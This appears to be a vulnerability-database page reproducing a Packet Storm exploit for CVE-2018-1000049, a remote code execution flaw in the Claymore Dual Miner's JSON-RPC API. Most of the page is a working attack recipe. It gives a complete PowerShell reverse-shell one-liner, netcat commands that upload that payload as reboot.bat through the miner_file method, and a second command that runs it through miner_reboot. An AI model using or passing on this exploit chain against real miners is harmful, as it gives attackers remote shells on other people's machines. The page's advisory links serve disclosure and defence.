Lucene search
K

Nanopool Claymore Dual Miner 7.3 Remote Code Execution

🗓️ 17 May 2018 00:00:00Reported by ReverseBrainType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 66 Views

Nanopool Claymore Dual Miner 7.3 Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Nanopool Claymore Dual Miner APIs Remote Code Execution Exploit
17 Jul 201800:00
zdt
Circl
CVE-2018-1000049
17 May 201800:00
circl
CNVD
nanopool Claymore Dual Miner Remote Code Execution Vulnerability
26 Feb 201800:00
cnvd
CVE
CVE-2018-1000049
9 Feb 201823:00
cve
Cvelist
CVE-2018-1000049
9 Feb 201823:00
cvelist
Exploit DB
Nanopool Claymore Dual Miner - APIs Remote Code Execution (Metasploit)
17 Jul 201800:00
exploitdb
Metasploit
Nanopool Claymore Dual Miner APIs RCE
19 May 201801:10
metasploit
NVD
CVE-2018-1000049
9 Feb 201823:29
nvd
OSV
CVE-2018-1000049
9 Feb 201823:29
osv
Packet Storm
Nanopool Claymore Dual Miner APIs Remote Code Execution
17 Jul 201800:00
packetstorm
Rows per page
`# Exploit Title: Nanopool Claymore Dual Miner >= 7.3 Remote Code Execution  
# Date: 2018/02/09  
# Exploit Author: ReverseBrain  
# Vendor Homepage: https://nanopool.org/  
# Software Link: https://github.com/nanopool/Claymore-Dual-Miner  
# Version: 7.3 and later  
# Tested on: Windows, Linux  
# CVE : 2018-1000049  
  
Suppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:  
  
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"  
  
Convert it into hexadecimal and paste it on the second parameter inside this string:  
  
echo '{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","HEX_STRING"]}' | nc 127.0.0.1 3333 -v  
  
Then, to trigger the vulnerability just send {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}  
string to the miner.  
  
echo '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' | nc 127.0.0.1 3333 -v  
  
You got the shell!  
  
This exploit works also on Linux, just substitute reboot.bat with reboot.bash or reboot.sh.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation